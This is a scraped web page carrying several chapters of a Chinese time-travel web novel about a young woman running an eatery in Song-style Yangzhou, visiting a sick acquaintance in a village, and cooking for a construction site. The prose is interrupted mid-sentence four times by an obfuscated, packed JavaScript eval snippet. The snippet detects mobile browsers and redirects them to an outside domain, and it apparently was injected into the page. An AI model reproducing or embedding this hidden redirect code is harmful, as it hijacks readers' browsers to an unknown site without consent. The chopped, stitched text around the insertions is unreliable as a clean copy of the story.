;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401523|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巡堤回来了。” 接连两次与韩知州的会面让李鸿在他那儿挂了名，李鸿拿出两包如意酥笑着说：“从瓜洲港回来便遇上梁娘子，她送了两包糕点，说是新花样，请知州品鉴。” 平白送上司东西会被人认作贿赂，可有了巧宗和说辞倒很能拉近彼此的关系。 李鸿深谙此理，他既不必自掏腰包，又能借机汇报工作在知州面前混个脸熟，何乐不为？ 韩知州眯了眼睛看着那糕点，点点头说：“给我这种只知哀梨蒸食的人倒是浪费了，我家景哥儿爱吃些则个，多谢你提来，我带回去给他尝尝。” 李鸿闻言应承道：“听说小郎君中了经魁，虎父无犬子，想来不日知州父子二人就可同朝为官了。” 韩知州内心欢喜得很，面上仍谦虚道：“侥幸，侥幸！” 他又问：“近来港口之事可有甚么进展？” 李鸿汇报说：“好在瓜州港地势还算平坦开阔，虽说下头有泥沙淤积水流过缓，叫人挖开后如今不影响船只通行。只是有一桩难事……” “尽管说来。” 李鸿措了词，又道：“木材和石料要从青山镇的龙山运来，工头说运输距离远，有些耽误工期。” 韩知州和李鸿说了几句，便叫他出去，示意他自己会仔细考虑这个问题。 到了归家的时辰，他一刻也不带歇，即刻坐了马车回去。 崔氏正领着女使们布膳，听见门房小厮进来通传说主君的马车已经进府了，便立刻叫身旁的胡妈妈去叫两个孩子来。 韩知州进堂屋时，三人已经坐好候着了。他将手里的如意酥递给胡妈妈，“前些时候到外头去忙官务，吃了家食肆还算不错。店主人又送了些新样式来，给这挑嘴的小幺儿弄好端上来！” 韩景彦有些不好意思，起身谢道：“多谢父亲。” 崔氏冲着胡妈妈点了点头，胡妈妈即刻照做。她寻了个珐琅攒盒，将几只如意酥整整齐齐地码在里头捧着出来。 在一桌子大厨精心烹制的官菜中，梁照儿的糕点显得有几分稚趣。 韩景彦瞧着却很喜欢。 他向来不爱那些规规矩矩的菜式，吃来吃去嘴里都是一个味儿，腻得发慌。 还没用完饭，他就觑了那如意酥好几眼。 韩知州和崔氏互相换了个眼神，眼里皆是一副宠溺之色。 崔氏说：“好了，想吃就尝尝罢，左不过是家宴，没人拘着你！” 韩景彦是个拧性子，原本他是想吃的，可被崔氏这么一打趣竟硬生生地忍到用完饭了才吃如意酥。 他用银箸搛起一块如意酥，就那么一咬，酥皮便在齿间蹦开。里头的内馅是软和的柿子酱，仔细一抿，竟有一阵芳香萦绕鼻腔。 是桂花的香气。 韩景彦放下筷子，饮了一口清茶漱口，又吃了一块。 如意酥有两种，一种里面加了桂花，另一种则是加了银杏果。加了旋炒银杏果的那块吃起来口感更加丰富，软糯咸脆间交织着酥皮的香甜。 他闭上眼，脑子里蹦出一个在银杏树下捡果子的娘子。 韩景彦问：“父亲可知这食肆在哪？” 韩知州说：“卸盐巷尾临着渡口的梁家食肆。” 韩景彦想起竹筒下的那个“梁”字，忽而感觉一切都说得通了。如意酥的桂花香和定胜糕的沉香……是了，她是惯会用香的。 看来在银杏树下捡果子的不是小娘子，而是从前那位老妈妈。 14. 探店燕来楼与莼菜鲈鱼羹 秋蝉响似筝，闲傍柳边行。晴空一碧无今古，路上行人纷纷，城中八街九陌笙歌鼎沸。 梁照儿从箱底里翻出一件新做的绯罗褙子穿在身上，头上依旧梳的是小盘髻，斜斜地插了一枝石榴花。 关大娘说：“往日怎么累掯都不愿的，只打扮的像个道姑婆，今日舍得打扮了？” 梁照儿笑道：“哪里的话，在案前做事穿的繁复反倒绊手绊脚。” 她想起之前摆摊时听顾客说起的燕来楼，好容易进了扬州城，不去瞧瞧倒算白来一遭。 “今日去燕来楼，可不得收拾的得体些。”梁照儿说道。 关大娘惊讶道：“怎么忽然想着去燕来楼了？” 梁照儿回说：“早该去的，看看人家是怎么做的，倒好改改我们的。” 因着占了地理位置的便宜，梁照儿的食肆如今也算是做起来了，积累了不少客源。 她想更上一步，却不知本朝的食肆都是何种经营方式。到哪个码头，就得按哪个码头的规矩行事，她和关大娘说明了，二人便朝燕来楼去了。 从卸盐巷到燕来楼有些距离，梁照儿去驴铺和店主人讨价还价了一番后赁了只老驴，驼着她们慢悠悠地穿城而过。 关大娘埋怨说：“你瞧你赁的这头老驴，走三步喘两步的，难伺候的勒！” 梁照儿攥着鞭子，也不抽驴子，只握在手里当摆设，“能省则省哩，今日总不是只为了这一桩事，慢慢去罢。” 自打做生意以来，她逐渐有向葛朗台老爷看齐的趋势，想从她手里漏出额外的一文钱都难如登天。 燕来楼门前立着彩楼欢门，用枋木和各色花扎缚其上，还饰以彩布和酒望。酒望上用浓墨写着“醉仙”二字，是燕来楼主打的酒品。 入口处迎宾的小厮腰杆都挺得笔直，自觉代表的是官家颜面，讲起话来都多了几分底气。 虽见梁照儿和关大娘衣着普通，跑堂小二也不轻视，仍弯腰含笑说：“二位娘子来得巧，楼上雅间、楼下散桌尽可选的。” 且不说二人坐不坐得起楼上雅间，只这一句话听着就叫人舒坦。 梁照儿道：“劳烦您，楼下散桌就行。” 过了甬道，进到里头一瞧，恍若到了白玉京。地面由上好的大理石铺就，上下两层花楼，顶上垂着通顶高的垂花涤带。几面磨得锃亮的铜镜将暖光散的到处都是，燕来楼虽幽深却并不显暗。 关大娘哆嗦着说：“我腿怎有些发颤？” 梁照儿拍了拍她的手，安慰道：“不妨事，咱们是顾客，顾客就是上帝。” “上帝是个甚么人？” “就是玉皇大帝，张老儿。” 关大娘一听这话忽然觉得自己身价倍增，也挺直了腰板端起架子。 梁照儿不免想起她从前和大学室友头一次去吃海底捞，两个人都怕钱不够，加起来身上揣了快一千块钱现金。直到买单时看见账单上二字打头的三位数，两人对视一眼，忍不住笑出声来。 小二问道：“二位娘子可有什么想吃的？” 这句“娘子”说的关大娘心花怒放，哪有人不爱听别人夸自己年轻？ 梁照儿说：“正是吃莼菜鲈鱼羹的好季节，上一盅鲈鱼羹来，其余糕品来招牌两碟，小菜两例也就是了。” 小二笑着回：“娘子是个懂吃之人，这莼菜鲈鱼羹燕来楼称第二，没人敢称第一！您略坐坐，这就来。” 梁照儿点了点头，转头与关大娘交谈起来。条案上摆着几盆瑶台玉凤，另有芬芳异草，当真好个所在。 今日燕来楼不似往常大排长龙，却也有不少人气。没等片刻，小二一手支着一个珐琅盘便上来了。 他先将莼菜鲈鱼羹摆在四仙桌中间，羹汤质地浓稠适中，呈淡淡的奶白色。碧绿的莼菜卷曲着身体，如一朵袖珍荷叶缠缠绵绵地荡漾在汤里。新钓上来的鲈鱼被切成薄片，色白如玉，状若飞蝶。实在无愧那句“莼菜银丝嫩，鲈鱼雪片肥”。 梁照儿舀了一勺在嘴里细细品着，这莼菜和鲈鱼均匀地分布在羹汤中，鲈鱼处理的极干净，半根刺也无，且无过多损伤鱼肉本身，一瞧就是个老练的大师傅亲自操刀做的。 难得的是片片莼菜取得都是芽尖，既不粗砺的摩擦口腔，也不会过软烂成一锅糊糊。 “这里头可是加了胡椒？”梁照儿问。 那小二一笑，回说：“娘子好灵的舌头，正是加了胡椒。” 一丝辛味在舌尖萦绕，恍惚中有一丝回甘，妙甚。 小二转身到了别桌，梁照儿继续试着糕点。呈上来的三样是糕点坊里头惯常做的三道：油酥鲍螺、滴酥和茶糕。 前两道她吃着觉得有些甜了，酥油发的过了头倒是有些腻味。茶糕做的中规中矩，有绿茶粉和红茶粉制的各两样。 梁照儿叹了口气说：“到底是燕来楼，虽说糕点的做法与寻常铺子里头无异，可用的食材皆是上品。绿茶粉用的是恩施玉露蒸了之后再细细磨的，红茶用的也是祁门红茶。” 关大娘宽慰道：“燕来楼是官家正店，财大气粗，扬州城里甚么样的食材寻摸不来？不少铺子都以给燕来楼供货为荣！” 梁照儿自有一股傲气，虽发自心底地钦佩燕来楼的品质，却也不欲跌自己的面子。 她客观说：“燕来楼的切菜师傅刀工也是上乘，我并不擅长刀上功夫，倒得再练练。” 不过有一处让梁照儿觉得是蓝海。她喝了一口醉仙，一股苦药味和黄酒的刺激感直冲上颚。虽说蒸馏技术尚未普及，没有后世意义上的高度数酒，但这些粗酿的药酒口味也不遑多让。 醉仙实则为苏合郁金酒，以黄酒为基酒，加入苏合香和姜黄的根块酿制而成。据说其能行气开郁，豁痰止痛。 就连官家喝了这酒，头风的症状都能缓解几分。 虽然风靡王公贵族间，可对于寻常女子而言，不利口且度数略高。女子爱饮酒者不在少数，专供女子所饮之佳品对比于其他却算少的。 梁照儿对关大娘说了心中所想，却被关大娘毫不留情地戳灭幻想，“官家严禁私人酿酒，若是查出私制酒曲，多的还得拉去菜市口砍头！” 本朝仅受朝廷许可的正店才有酿酒资格，关大娘怕梁照儿未意识到事情的严重性还吓了吓她。 梁照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401524|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿一下子熄了火，颇有种创业未半而中道崩殂之感，看来下酒水许可证在哪朝哪代都不算易事，得有门路才行。 二人吃了一阵，梁照儿打眼瞧着李鸿被几个甲头簇拥着进来吃酒，他才上任不久，并不很会应对这些场面。 他脸色涨得通红连连摆手道：“州衙里还有官务在身，使不得。” 梁照儿一时意动，上去打招呼说：“李大人今日怎得也来燕来楼了？” 李鸿见着她，恍若瞧见了救星一般，拨开几个壮汉就挤到她这边来，“娘子莫打趣某，就凭那些微末俸禄，哪里吃得起燕来楼！” 虽说他一个月俸禄有七八贯钱，在任上吃喝不愁，衙门还分住所，可他还得攒老婆本呢！ 最主要的是上官都没来燕来楼大吃大喝，他一九品芝麻官又怎好在这呼朋引伴、宴请宾客的，费劲九牛二虎之力才得来的这顶乌纱帽他可不想丢了。 甲头们一瞧李鸿和梁照儿关系非凡，互相觑了一眼。 梁照儿此时也不忘打广告：“诸位官人可是说笑了，奴家瞧着各个都是能干人，心里敬佩得很。择日也好赏光来梁家食肆瞧瞧，又便宜、又好吃！” 来来回回地说了几圈不温不寒的场面话，梁照儿才和关大娘出了燕来楼。将那头老驴牵到赁驴铺子那还了时，梁照儿说：“赶明儿咱们自己买只驴或牛，不然上街怪麻烦的。” 关大娘对此深表赞同。 回了食肆，老远就瞧着有个身着云纹鹤氅的男人倚在门边上。关大娘上前搬下门闩，笑着说：“蔡郎君等了多久？” 蔡宣季笑着回说：“没等多久，等二位娇娥哪里嫌久？” 他这一番话给关大娘哄的笑成一枝颤颤巍巍的梨花，梁照儿打趣说：“哎哟哟，这是打哪飞来只花孔雀。” 三人进了大厅，蔡宣季又道：“孔雀哪里会飞，不过在地上扑腾两下。” 梁照儿两辈子加起来也没进过几次动物园，对孔雀的了解更是停留在图片里，她睨了蔡宣季一眼又说：“啀，你们这些读书人净爱拿乔取笑人，知道我是怎么个意思不就成了？” 蔡宣季讨饶道：“是我的不是，娘子莫怪。” 她又问：“这些日子怎么不见你来了？从前那些话莫不是打量着诓我？” 蔡宣季摇了摇头，“哪里的话，我这些日子去青山镇瞧了瞧子圭，他从扬州城里回去就病的呜呼哀哉，这几日连起身都困难了。你不知道他病了？” “我是他甚么人，他的事又从哪知道？” 蔡宣季说：“你这人好冷的心，他也是当面喊了你作娘的！” 梁照儿啐道：“从前他们崔家对我呼来喝的，不把我当人看，如今倒来装点门面了。” 虽然梁照儿嘴上厉害，但她心也狠啊，说不去看就不去看，谁劝也没用。 后来关大娘说：“你只管去瞧瞧，若是璋官人遇了什么事，那屋子可不能被人抢去了。” 梁照儿一听，这话正说到她心坎上，才不情不愿地去药铺抓了几幅药，同意跟着蔡宣季往崔璋家去。 ———— ①甲头：管领夫役的头目 15. 青山镇、探病与扬州炒饭 翌日，青山镇。 芦叶满汀洲，泊烟移舟，江上但行片刻，船靠了岸。船夫将摇橹一撑，梁照儿提着微湿的裙摆小心下了船。 蔡宣季在后面跟着她，肩上扛着一只包袱，里头装着几个胡饼。方才在船上梁照儿都不放过宣传食肆的机会，将胡饼分了不老少给船上的人。原本装的鼓鼓囊囊的包裹，现在空了不少。 他说：“还有些远，不如在此赁辆驴车？” 梁照儿拨开帏帽淡淡应了声，等蔡宣季牵了驴来，侧身坐在车的尾部，与他隔着好几臂的距离。 蔡宣季笑着说：“你瞧你这人——把我当个车夫在使。” “你可要体谅，若非怕那些流言混语，我也想稳稳当当地坐在前头。”梁照儿应道。 蔡宣季回头瞧了她一眼，又说：“只怕你掉下去，跌了一跤又来诟谇我！” 梁照儿也笑了，嘴上仍不饶人道：“我又不是深宅大院里头的小姐，哪就那么娇气。” 二人时不时地搭了两句话便到了洙泗村。 一位身着嫩黄披衫的少女在小院门口探头探脑地朝里看，她半只脚翘在天上，一个不稳朝里跌去，她将揉皱的长裙从身下拉出来，抱歉道：“崔郎君，我瞧你好几日没出门走动，听说你病了，给你带了两个鸡蛋。” 说着，她就从怀里掏出两个用艾草煮的鸡蛋。她生怕亮了，一直放在胸前捂着，胸脯上被烫红了一片。 崔璋躺在床上，皱眉说：“月娘下次莫来了，被村子里爱嚼舌的妇人听见平白污了你的名声。” 被唤作月娘的女子羞涩一笑，露出两个酒窝。她心里打的正是这个算盘，就怕村头的王婶子不肯说呢。 自打崔璋搬回来洙泗村崔家发迹前的院子来，月娘就看上了他。听阿娘说崔郎君原随着崔老爷一家子去了扬州城里头，还在书院读了书，如今已是秀才老爷哩，只等明年再试秋闱，就能做官了。 月娘趴在青石垒的院墙上悄悄地看崔璋在院子里头读书，他的声音清脆有力，念的文章她一个字也没听懂，光顾着看崔璋俊秀的脸蛋儿去了——真是好俊俏的小官人，比村里整日里赶牛赶羊的小后生们好哪去了！ 她回家告诉阿爹阿娘，她要做秀才娘子、举人娘子而后是官太太，就认准崔郎君了。 月娘的父母是难得的疼爱姑娘的厚道人，见女儿喜欢，崔璋又是个读书人便也默许了。 在原书里，崔璋慢慢被执着的月娘打动，二人在众人的见证下成了亲，婚后活泼可人的月娘渐渐地治愈了阴冷的崔璋。 月娘又将手里的鸡蛋朝前递了递，劝了几句见崔璋不肯收下，恍然大悟道：“崔郎君，你是不是嫌麻烦，不肯剥蛋壳？” 她越想越觉得有道理，便拿出一个鸡蛋在崔璋头上敲了下，坐在一旁剥起来。 天可怜见的崔璋本就病得头昏脑涨，被生得一敲，差点背过气去，他连呛了两声才道：“月娘……” 月娘听见崔璋喊她，忙将手中的鸡蛋塞进他嘴里，“郎君快吃罢，不够我再回去拿。” 崔璋骤然一噎，脖子涨得通红，连忙指着案上的茶说：“水，咳咳……” 月娘转身去够那茶盏时，瞧见了压在砚台下的画，一幅幅地叠着，像旋开的山茶花。画上的娘子虽未点上五官，却能感受到她宜喜宜嗔的情绪。她时而站在海棠树下消散愁绪，时而窝在榻边悠然小憩。 月娘的心像被人揪了一把，有种跌进莲池里的溺水感。但她仍笑着说：“郎君画的真好，您不仅做的好学问，画工也很精湛，莫非这是您的心上人？” 崔璋趿着鞋子下床，将画塞进后头的书柜里，“不过随意画画。” 他跌回硬板板的床上，擤了擤鼻子，又拒绝道：“你回去罢。” 月娘是个不服输的性子，她把胸脯一挺，自觉不比那画中女子差分毫。她是洙泗村里难得的美女，还有一手好绣艺，才过了及笄之年就有不少媒婆上来提亲。 她被旁人艳羡的目光滋养的有些傲气。 月娘说：“那我明日再来。” 话音未落，就听见有人推了院门进来。月娘上前拉开里屋的门，梁照儿一见她便笑着说：“你还担心他没人照料，如今都赶到一处去了。” 蔡宣季也好奇地瞧了月娘一眼，月娘坦坦荡荡道：“二位是来看崔郎君的罢？我是他邻居，姓黄，小名唤作月娘，快些进来罢。” 梁照儿暗自打量了月娘一番，心中也不由得叹道：不愧是原书女主，生的袅娜纤巧，皮肤白皙、身量匀称，行事也大方周到。反观她，瘦条条的一个，倒显得少了些排场。 崔璋在里头听见梁照儿的声音，连忙将发带束紧些，将刚刚月娘拿来的鸡蛋在脸上来回滚了几圈，只盼着能显得自己气色好些。 三人进了里屋，梁照儿打量了一圈，第一印象就是破败。 倒不是断壁残垣的危房，是未经收拾、没什么人气儿的感觉，竹箱子里头衣服倾倒着，案上笔墨纸砚无序地摆着，活脱脱一大学男生宿舍。 蔡宣季说：“崔大官人，我又来了，此番还带了位娇客。” 崔璋轻咳一声，压住悸动，淡淡道：“你怎肯来我这破落地？” 梁照儿白了他一眼说道：“所以我不爱同你这人讲话呢，好端端地一句话，七拐八绕地别扭着，从你嘴里说出来活脱脱变了味！” 她将手中的几包药拍在桌上，崔璋瞧着那药心里暖和，嘴上却说：“瞧我不过说了一句，哪值得你说这么多话？” 屋后头养着两只老母鸡，崔璋病了许久，也没时间喂养，正是饥肠辘辘地在鸡舍里叫唤。 洙泗村里有名的无赖子冯阿狗惯常爱干些偷鸡摸狗的事情，他见崔璋几日没出来了，便盘算起干些小偷小摸的生意，爬进来偷鸡。 只见梁照儿隔着窗子骂道：“你这杀才，手脚齐全倒专干这种损阴德的事，茅坑里的蛆虫还知吃饱翻身，黑心歪肠的烂胚子！” 说着她便抄起一根竹竿子就要出去揍冯阿狗，冯阿狗边跑边说：“崔郎君，你这是打哪来了门厉害亲戚，还不快接回去！” 蔡宣季笑着摇摇头，他自然知道梁照儿嘴利害，正巧这冯阿狗碰上了她的霉头。 崔璋却一脸欣然地望向梁照儿的背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401525|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影，从前她骂他气得他跳脚——可他看见她骂冯阿狗，心里却畅快极了。今日她不仅没骂他，还在外人面前维护他，保下了他的两只鸡。 月娘还是个姑娘家，哪里见过这阵仗，只讷讷地站在一边。她倒了盏茶递给梁照儿，“娘子喝盏茶润润喉罢。” 梁照儿瞥了那茶盏一眼，淡淡道：“什么脏人、臭人用过的，我才不用。” 崔璋哑然，躲的了初一躲不了十五。蔡宣季在一旁嗤嗤地笑了，他自觉在梁照儿面前是第一得意人，不然她怎么骂自己骂的少？ 月娘问：“还不知二位同崔郎君是甚么干系，让奴家也好认认，往后常来我们这里走动，嘴上叫的也热乎。” 崔璋指着蔡宣季说：“这位姓蔡的郎君与我有同窗共学的情谊，算是我的挚交，这位娘子……” 每到向人介绍梁照儿时，崔璋就犯了难。梁照儿这次却直言道：“月娘你别多想，我是他爹从前讨的小老婆，如今是个孀居的寡妇，听说他病得不行了才来看看。” 为了避免原书的结局，梁照儿将一切吐了个干净，意思是你们俩该干嘛干嘛，我只是个路人甲，别在意。 月娘立刻眉开眼笑道：“哎哟哟，原是长辈，月娘方才称您娘子，可算失礼了。” 崔璋皱眉说：“月娘，都晌午了，你爹你娘肯定在等你回去吃饭呢，可别让他们担心。” 月娘闻言一脸不悦，嘟着嘴说：“知道了。” 崔璋勉强冲她笑了笑，月娘得了个笑脸又兴高采烈地回去了。 梁照儿兴冲冲道：“弄了半天，你还怕月娘不成？” “不是怕她，是怕女人，一哭二闹三上吊的，麻烦。”崔璋无奈道。 蔡宣季闻言立刻说：“我可没说过这样的话，我瞧着娘子们各有各的好。” 崔璋剜了蔡宣季一眼，眼神中带着些警告的意味。蔡宣季并不畏他，只挑眉似笑非笑地瞧着他。 梁照儿环视了一圈，又说：“你这冷锅冷灶的，平日里也不知能不能吃饱。” 她早上赶着坐船，也只吃了个胡饼，此刻肚子正饿着。 崔璋立刻示弱道：“我哪里懂做什么菜，只能吃从镇上买的炊饼，五文钱三个，也快吃完了。” 这下轮到蔡宣季瞪着他了。崔璋外表上看着是个端方正直的公子哥儿，可在书院时是最爱带着他们几个同窗去槐树上掏鸟蛋吃的。他还喜欢用自己做的弹弓打麻雀烤着吃，那滋味也堪称书院一绝了。 现在倒装上君子远庖厨了？ 梁照儿在灶下摸了几把，寻摸到一根胡萝卜、一把香蕈和一些青豆，离了扬州城倒还有些挂念，中午她预备做扬州炒饭。 她先从不富裕的米缸里舀了两碗米，倒入过手指第一个指节的水便用木桶焖上。一切就绪后，她在锅中放香蕈和青豆炒至半熟后，才将配菜盛出。 梁照儿在锅边一敲，行云流水地打了两个蛋，趁着蛋液还未凝固，连忙将煮好的饭倒进里头翻炒，等到蛋液均匀地挂在每一粒米上头，又倒了配菜进去。 不一会儿，她端着三碗饭上桌，说道：“吃罢。” 16. 承接营造处临时食堂 扬州炒饭贵有贵的吃法，里头加火腿、虾仁、干贝、海参之类的，还得用上好的鸡汤做汤底焖煮配料，和寻常的蛋炒饭有天壤之别。虽说配菜有限，可金裹银的技法，梁照儿还是做了全。 每粒米上都均匀的裹着蛋液，只加少许盐调味便能最大程度地激发出炒饭本身的咸香。 三人在桌上吃的鸦雀无声，只听见碗勺碰撞的声响。酒足饭饱后，崔璋说：“将碗碟都放着，到时候我来收。” 见他这么说，梁照儿也就坐到一旁喝茶去了。自己都坐船来瞧他了，怎么说也是个客人，给做了顿饭都了不得了，哪有洗碗的道理。 蔡宣季看着两人，一抹袖子，吭哧吭哧地到灶台边洗碗去了，嘴里还嘟囔着说：“都打量着我心软，不肯磋磨病人。” 梁照儿备不住笑了，她翘起脚在空中晃了两圈才放下地。崔璋觉着这样的她才像这个年纪本该有的模样，无忧无虑的。 他从枕下摸出一锭银子塞进梁照儿手里，“我瞧着你店里生意时好时坏的，这钱你收下，若出了什么事也好应个急。” 梁照儿将银子推了回去，说道：“我要你的钱做甚么？你只管留着自己用，把这屋子好好拾掇拾掇，赶明儿月娘和你成了亲都该给她才是。” 崔璋嗫嚅着说：“都是没影的事，再说了我身上也没个功名，娶谁总是耽误了人家……” 他在梁照儿面前总有些没底气，比他还小不少的人都能扛起生活，可他读了十几年书连自信能考取的功名也没考上。 梁照儿嘻嘻一笑，“人世间的事都是说不定的，我与你从前吵得跟乌眼鸡似的，如今也能坐在一处吃茶说话，还有什么不行的？” 她又说：“此次虽未中，可你好歹也是个秀才，去村里私塾混个学究当当，教学童启蒙，也能养活自己。” 半晌，她补了句：“办法总比困难多，活人哪能被尿憋死？” 梁照儿觉得她简直是崔璋和月娘情感路上的好帮手，原书里月娘堂伯家正开了家私塾，这样一来他二人岂不是多了不少朝夕相处的时间？ 崔璋见梁照儿宽慰自己，心里像撒了一把白糖似的，又甜又硌嘴，过了一会儿他才回道：“待我以后做了大官，给你请封诰命。” 梁照儿觉得这人是个痴傻的，好似她刚刚讲的话都白说了，她叱道：“嗐，你这人净说些甚么浑话，要你给我请个什么封呢？” 崔璋刚准备说话，却被湿着手的蔡宣季打断了，他咬牙切齿道：“你们俩在说什么？” 梁照儿心底无名地升上一股心虚，却仍说：“不过闲说两句话罢了。” 崔璋不露声色地往前挪了挪，半个身子将坐在绣凳上的梁照儿环住，斜插进她和蔡宣季之间，淡淡道：“一家人说话，外人总不好听的。” 瞧见蔡宣季又青又红的脸，崔璋微微勾起唇，又说：“洗完了？” 蔡宣季握着拳头，没出息道：“洗完了，还用布擦了，放到笼柜里了。” 梁照儿笑着说：“蔡郎君也不知以后得多讨家里娘子欢心。” 蔡宣季闻言面色这才好了些，轻哼一声说道：“这是自然，我可比某些不解风情的木头强。” 他将包袱里的东西都拿出来归置好，一刻也不多待，便拉着梁照儿出了门。 梁照儿不解说：“来也是你要来的，如今怎么打手打脚地要走？” “免得耽误食肆的生意。”蔡宣季绽出一个完美的笑容。 他如今只盼望着月娘能加把劲，赶紧将崔璋这登徒子拿下。 二人才下了渡口，便瞧见有一伙人围在梁家食肆前头。蔡宣季心中警觉，连忙将梁照儿护在身后。 梁照儿拍了拍他，示意无妨，便上前问道：“几位大哥今日怎么有空来我这小店了？” 前来的正是那日在燕来楼遇见的甲头，他们齐刷刷地转身，冲着梁照儿作揖道：“在此候了娘子许久，可算把您等来了，今日冒昧打扰原是有一桩事要说……” 原本他们做事时说的话都是难得入耳的浑话，见了小娘子挝耳挠腮地说了几句文雅话。 为首的甲头羊安顺觑了一眼蔡宣季，梁照儿连忙说：“蔡郎君先回寺里去罢。” 见他走了，梁照儿忙开了门进去说道：“几位大哥略坐坐，我给你们沏壶茶水吃。” 羊安顺说：“我们这些粗人哪里喝得懂那些精巧物什？快别忙了，今日来是有一桩生意要劳烦娘子。” 梁照儿好奇道：“有这样的好事大哥们都想着奴家，不管成与不成，奴家先在此谢过了。” “娘子折煞了，营造上做饭的役作李瘸子害了病回家去了，现在缺个厨子，我一下子就想到娘子了。”羊安顺笑着说。 他打定主意要搭上州衙这条线，见梁照儿和李鸿有些交情，便想着卖个好，说不准以后还能揽些和雇的活做。再者也就是确实需要这么个人来顶事，梁家食肆的东西便宜干净不说，味道也不比李瘸子做得差，弟兄们还算爱吃。 她考虑到梁家食肆目前的规模和人手，还是一咬牙说道：“诸位若是信得过我，我愿尽力一试。” 羊安顺正色道：“营造处人多，娘子的手艺也好，娘子来一日便给您半贯钱，这样可行？” 梁照儿心中略一算，临安地区普通厨娘月薪基本上在五贯钱，按每月三十天算，一日不过才一百六十余文。 她这一下算翻了三倍！ 梁照儿点头说：“自然可以。” 羊安顺抚掌笑道：“做的吃食干净、顶饱就行，再没旁的要求了。” 梁照儿接过羊安顺先给的半贯钱定金，便回明教巷寻了关大娘，将事情据实说了，关大娘激动道：“这总是桩不赔本的买卖，只用大锅炒几个菜就使得了，你去罢，店里头总有我给你看着。” “那我明日早上卖完了胡饼，就跟着甲头去营造处做活，也好多宣传宣传食肆。”梁照儿笑着说。 骤然吃上了官家饭，梁照儿又是开心又是紧张。 她在纸上比划着菜单，营 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401526|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 造处的食材都是由州衙按人数统一拨的，就那么几样常见菜：白菜啦、萝卜啦、南瓜冬瓜之类的。好在靠近江边，能捞点鱼上来打打牙祭。 梁照儿还是决心做家常小炒，一来快，可以批量制作，二来她也擅长。 第二日清晨，梁照儿还是照常起了，她站在摊前卖胡饼的时候，羊安顺也悄悄排在队伍后头等着买胡饼。 等他站到梁照儿面前时，他故意压低声音道：“娘子，来个胡饼。” 梁照儿抬头一瞧，见是羊安顺便笑着说：“原以为官人是个实诚人，不想也作弄起人哩！” 羊安顺连忙拱手讨饶道：“哪里是作弄你，瞧娘子忙了一早晨逗你一笑罢了。说来惭愧，我还没吃过娘子做的东西，只听见小李官人说好吃。” 梁照儿佯装生气道：“不过两步路的距离，怎得也不来瞧瞧。” 羊安顺不好意思地说：“我这个人生下来懒筋就牢牢地扒在骨头上，离开床倒是件困难事，每天都赶不及去监工，何况是吃早饭了。成日里都是饥肠辘辘地等到晌午，才能吃上李瘸子做的饭。” “这可不好，早饭得吃好，午饭得吃饱，这话总没错。”梁照儿摇摇头说道。 羊安顺连连点头，接过胡饼后便到里头去坐着等了。 等到人差不多都散了，梁照儿才脱了围裙，“羊官人，我这里的事忙完了，咱们就去营造处罢。” 羊安顺领着她进了营造处里临时搭的厨房，那里头正站着两位娘子：其中一位姓王，唤作采荞的是跟着自家男人征调来的民妇。她生得粗手粗脚，面上却一片腼腆，遥遥看去便知是一把干活的好手。 另一位姓徐的，从前是翠袖坊里头的，翠袖坊的妈妈给她起名叫作燕环，男人们常叫她燕丫头。 梁照儿一一向她们问好。 “我姓梁，叫我照儿便是。” “只叫我采荞。” “燕环。” 采荞见梁照儿新来，对她很热情，给她指了各处食材放的位置：“……活鱼活虾都在里头那两个大缸里，每隔一天就有人送肉来，肉都挂在绳子上晾着，右边架子上的簸箕里都是些时兴蔬菜，一旁的小竹篮里装的是鸡蛋。” 燕环却尖声道：“你同她说这些，她知道东西也不会弄呀，女人家的能做出甚么大菜来？配配菜也就行啦，真搞不懂羊甲头怎么寻个黄毛丫头来替李瘸子！” 她敷着粉的脸皱了起来，又轻轻飘飘地落了下去。 